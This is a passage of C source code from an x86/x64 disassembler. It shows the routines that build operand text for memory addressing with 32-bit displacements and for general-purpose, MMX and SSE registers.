            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", MyNumber);
        }
    }

}

// =======================================
//          ModRM_2
// =======================================
void __stdcall Addr_EBP_disp32(ARGTYPE* pMyArgument)
{
    int i = 0, j;
    long MyNumber;
    MyNumber = *((SDWORD*) (EIP_ + 2));
    (*pMyArgument).Memory.Displacement = MyNumber;
    if (SYNTAX_ == ATSyntax) {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i ++;
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.8X", ~MyNumber + 1);
        }
        else {
            j = i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.8X", MyNumber);
        }
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%");
        i+=2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[13]);
            (*pMyArgument).Memory.BaseRegister = REGS[5+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[5]);
            (*pMyArgument).Memory.BaseRegister = REGS[5];
        }
    }
    else if (AddressSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[13]);
            (*pMyArgument).Memory.BaseRegister = REGS[5+8];

        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[5]);
            (*pMyArgument).Memory.BaseRegister = REGS[5];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[7]);
            (*pMyArgument).Memory.BaseRegister = REGS[7];
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
    else {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", ~MyNumber + 1);
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", MyNumber);
        }
    }
}

// =======================================
//          ModRM_2
// =======================================
void __stdcall Addr_ESI_disp32(ARGTYPE* pMyArgument)
{
    int i = 0, j;
    long MyNumber;
    MyNumber = *((SDWORD*) (EIP_ + 2));
    (*pMyArgument).Memory.Displacement = MyNumber;
    if (SYNTAX_ == ATSyntax) {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i ++;
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.8X", ~MyNumber + 1);
        }
        else {
            j = i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.8X", MyNumber);
        }
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%");
        i+=2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[14]);
            (*pMyArgument).Memory.BaseRegister = REGS[6+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[6]);
            (*pMyArgument).Memory.BaseRegister = REGS[6];
        }
    }
    else if (AddressSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[14]);
            (*pMyArgument).Memory.BaseRegister = REGS[6+8];

        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[6]);
            (*pMyArgument).Memory.BaseRegister = REGS[6];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[5]);
            (*pMyArgument).Memory.BaseRegister = REGS[5];
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
    else {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", ~MyNumber + 1);
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", MyNumber);
        }
    }
}

// =======================================
//          ModRM_2
// =======================================
void __stdcall Addr_EDI_disp32(ARGTYPE* pMyArgument)
{
    int i = 0, j;
    long MyNumber;
    MyNumber = *((SDWORD*) (EIP_ + 2));
    (*pMyArgument).Memory.Displacement = MyNumber;
    if (SYNTAX_ == ATSyntax) {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i ++;
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.8X", ~MyNumber + 1);
        }
        else {
            j = i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.8X", MyNumber);
        }
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%");
        i+=2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[15]);
            (*pMyArgument).Memory.BaseRegister = REGS[7+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[7]);
            (*pMyArgument).Memory.BaseRegister = REGS[7];
        }
    }
    else if (AddressSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[15]);
            (*pMyArgument).Memory.BaseRegister = REGS[7+8];

        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[7]);
            (*pMyArgument).Memory.BaseRegister = REGS[7];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[3]);
            (*pMyArgument).Memory.BaseRegister = REGS[3];
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
    else {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", ~MyNumber + 1);
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", MyNumber);
        }
    }
}

// =======================================
//          ModRM_3
// =======================================
void __stdcall _EAX(ARGTYPE* pMyArgument)
{
    int i = 0;
    OpSize = 0;
    if (MMX_ == 1) {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[0]);
        (*pMyArgument).ArgType = REGISTER_TYPE + MMX_REG + REGS[0];
        (*pMyArgument).ArgSize = 64;
        return;
    }

    if (SSE_ == 1) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[8];
            (*pMyArgument).ArgSize = 128;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[0];
            (*pMyArgument).ArgSize = 128;
        }
        return;
    }
    if (OperandSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[8];
            (*pMyArgument).ArgSize = 64;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
            (*pMyArgument).ArgSize = 64;
        }
    }
    else if (OperandSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[8];
            (*pMyArgument).ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
            (*pMyArgument).ArgSize = 32;
        }
    }
    else if (OperandSize == 16) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[8];
            (*pMyArgument).ArgSize = 16;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
            (*pMyArgument).ArgSize = 16;
        }
    }
    else if (OperandSize == 8) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[8];
            (*pMyArgument).ArgSize = 8;
        }
        else {
            if (REX.state == 0) {
                (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[0]);
                (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS8BITS[0];
                (*pMyArgument).ArgSize = 8;
            }
            else {
                (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[0]);
                (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
                (*pMyArgument).ArgSize = 8;
            }
        }
    }
}


// =======================================
//          ModRM_3
// =======================================
void __stdcall _ECX(ARGTYPE* pMyArgument)
{
    int i = 0;
    OpSize = 0;
    if (MMX_ == 1) {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[1]);
        (*pMyArgument).ArgType = REGISTER_TYPE + MMX_REG + REGS[1];
        (*pMyArgument).ArgSize = 64;
        return;
    }

    if (SSE_ == 1) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[1+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[1+8];
            (*pMyArgument).ArgSize = 128;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[1]);
            (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[1];
            (*pMyArgument).ArgSize = 128;
        }
        return;
    }
    if (OperandSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[1+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1+8];
            (*pMyArgument).ArgSize = 64;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[1]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1];
            (*pMyArgument).ArgSize = 64;
        }
    }
    else if (OperandSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[1+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1+8];
            (*pMyArgument).ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[1]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1];
            (*pMyArgument).ArgSize = 32;
        }
    }
    else if (OperandSize == 16) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[1+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1+8];
            (*pMyArgument).ArgSize = 16;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[1]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1];
            (*pMyArgument).ArgSize = 16;
        }
    }
    else if (OperandSize == 8) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[1+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1+8];
            (*pMyArgument).ArgSize = 8;
        }
        else {
            if (REX.state == 0) {
                (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[1]);
                (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS8BITS[1];
                (*pMyArgument).ArgSize = 8;
            }
            else {
                (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[1]);
                (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1];
                (*pMyArgument).ArgSize = 8;
            }
        }
    }
}



// =======================================
//          ModRM_3
// =======================================
void __stdcall _EDX(ARGTYPE* pMyArgument)
{
    int i = 0;
    OpSize = 0;
    if (MMX_ == 1) {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[2+0]);
        (*pMyArgument).ArgType = REGISTER_TYPE + MMX_REG + REGS[2+0];
        (*pMyArgument).ArgSize = 64;
        return;
    }

    if (SSE_ == 1) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[2+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[2+8];
            (*pMyArgument).ArgSize = 128;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[2+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[2+0];
            (*pMyArgument).ArgSize = 128;
        }
        return;
    }
    if (OperandSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[2+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+8];
            (*pMyArgument).ArgSize = 64;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[2+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+0];
            (*pMyArgument).ArgSize = 64;
        }
    }
    else if (OperandSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[2+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+8];
            (*pMyArgument).ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[2+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+0];
            (*pMyArgument).ArgSize = 32;
        }
    }
    else if (OperandSize == 16) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[2+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+8];
            (*pMyArgument).ArgSize = 16;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[2+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+0];
            (*pMyArgument).ArgSize = 16;
        }
    }
    else if (OperandSize == 8) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[2+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+8];
            (*pMyArgument).ArgSize = 8;
        }
        else {
            if (REX.state == 0) {
                (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[2+0]);
                (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS8BITS[2+0];
                (*pMyArgument).ArgSize = 8;
            }
            else {
                (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[2+0]);
                (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+0];
                (*pMyArgument).ArgSize = 8;
            }
        }
    }
}



// =======================================
//          ModRM_3
// =======================================
void __stdcall _EBX(ARGTYPE* pMyArgument)
{
    int i = 0;
    OpSize = 0;
    if (MMX_ == 1) {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[3+0]);
        (*pMyArgument).ArgType = REGISTER_TYPE + MMX_REG + REGS[3+0];
        (*pMyArgument).ArgSize = 64;
        return;
    }

    if (SSE_ == 1) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[3+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[3+8];
            (*pMyArgument).ArgSize = 128;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[3+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[3+0];
            (*pMyArgument).ArgSize = 128;
        }
        return;
    }
    if (OperandSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[3+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+8];
            (*pMyArgument).ArgSize = 64;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[3+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+0];
            (*pMyArgument).ArgSize = 64;
        }
    }
    else if (OperandSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[3+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+8];
            (*pMyArgument).ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[3+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+0];
            (*pMyArgument).ArgSize = 32;
        }
    }
    else if (OperandSize == 16) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[3+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+8];
            (*pMyArgument).ArgSize = 16;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[3+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+0];
            (*pMyArgument).ArgSize = 16;
        }
    }
    else if (OperandSize == 8) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[3+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+8];
            (*pMyArgument).ArgSize = 8;
        }
        else {
            if (REX.state == 0) {
                (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[3+0]);
                (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS8BITS[3+0];
                (*pMyArgument).ArgSize = 8;
            }
            else {
                (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[3+0]);
                (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+0];
                (*pMyArgument).ArgSize = 8;
            }
        }
    }
}



// =======================================
//          ModRM_3
// =======================================
void __stdcall _ESP(ARGTYPE* pMyArgument)
{
    int i = 0;
    OpSize = 0;
    if (MMX_ == 1) {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[4+0]);
        (*pMyArgument).ArgType = REGISTER_TYPE + MMX_REG + REGS[4+0];
        (*pMyArgument).ArgSize = 64;
        return;
    }

    if (SSE_ == 1) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[4+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[4+8];
            (*pMyArgument).ArgSize = 128;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[4+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[4+0];
            (*pMyArgument).ArgSize = 128;
        }
        return;
    }
    if (OperandSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[4+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+8];
            (*pMyArgument).ArgSize = 64;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[4+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+0];
            (*pMyArgument).ArgSize = 64;
        }
    }
    else if (OperandSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[4+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+8];
            (*pMyArgument).ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[4+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+0];
            (*pMyArgument).ArgSize = 32;
        }
    }
    else if (OperandSize == 16) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[4+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+8];
            (*pMyArgument).ArgSize = 16;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[4+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+0];
            (*pMyArgument).ArgSize = 16;
        }
    }
    else if (OperandSize == 8) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[4+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+8];
            (*pMyArgument).ArgSize = 8;
        }
        else {
            if (REX.state == 0) {
                (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[4+0]);
                (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS8BITS[4+0];
                (*pMyArgument).ArgSize = 8;
            }
            else {
                (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[4+0]);
                (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+0];
                (*pMyArgument).ArgSize = 8;
            }
        }
    }
}



// =======================================
//          ModRM_3
// =======================================
void __stdcall _EBP(ARGTYPE* pMyArgument)
{
    int i = 0;
    OpSize = 0;
    if (MMX_ == 1) {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[5+0]);
        (*pMyArgument).ArgType = REGISTER_TYPE + MMX_REG + REGS[5+0];
        (*pMyArgument).ArgSize = 64;
        return;
    }

    if (SSE_ == 1) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[5+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[5+8];
            (*pMyArgument).ArgSize = 128;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[5+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[5+0];
            (*pMyArgument).ArgSize = 128;
        }
        return;
    }
    if (OperandSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[5+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+8];
            (*pMyArgument).ArgSize = 64;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[5+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+0];
            (*pMyArgument).ArgSize = 64;
        }
    }
    else if (OperandSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[5+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+8];
            (*pMyArgument).ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[5+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+0];
            (*pMyArgument).ArgSize = 32;
        }
    }
    else if (OperandSize == 16) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[5+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+8];
            (*pMyArgument).ArgSize = 16;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[5+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+0];
            (*pMyArgument).ArgSize = 16;
        }
    }
    else if (OperandSize == 8) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[5+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+8];
            (*pMyArgument).ArgSize = 8;
        }
        else {
            if (REX.state == 0) {
                (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[5+0]);
                (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS8BITS[5+0];
                (*pMyArgument).ArgSize = 8;
            }
            else {
                (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[5+0]);
                (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+0];
                (*pMyArgument).ArgSize = 8;
            }
        }
    }
}



// =======================================
//          ModRM_3
// =======================================
void __stdcall _ESI(ARGTYPE* pMyArgument)
{
    int i = 0;
    OpSize = 0;
    if (MMX_ == 1) {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[6+0]);
        (*pMyArgument).ArgType = REGISTER_TYPE + MMX_REG + REGS[6+0];
        (*pMyArgument).ArgSize = 64;
        return;
    }

    if (SSE_ == 1) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[6+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[6+8];
            (*pMyArgument).ArgSize = 128;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[6+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[6+0];
            (*pMyArgument).ArgSize = 128;
        }
        return;
    }
    if (OperandSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[6+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+8];
            (*pMyArgument).ArgSize = 64;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[6+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+0];
            (*pMyArgument).ArgSize = 64;
        }
    }
    else if (OperandSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[6+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+8];
            (*pMyArgument).ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[6+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+0];
            (*pMyArgument).ArgSize = 32;
        }
    }
    else if (OperandSize == 16) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[6+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+8];
            (*pMyArgument).ArgSize = 16;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[6+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+0];
            (*pMyArgument).ArgSize = 16;
        }
    }
    else if (OperandSize == 8) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[6+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+8];
            (*pMyArgument).ArgSize = 8;
        }
        else {
            if (REX.state == 0) {
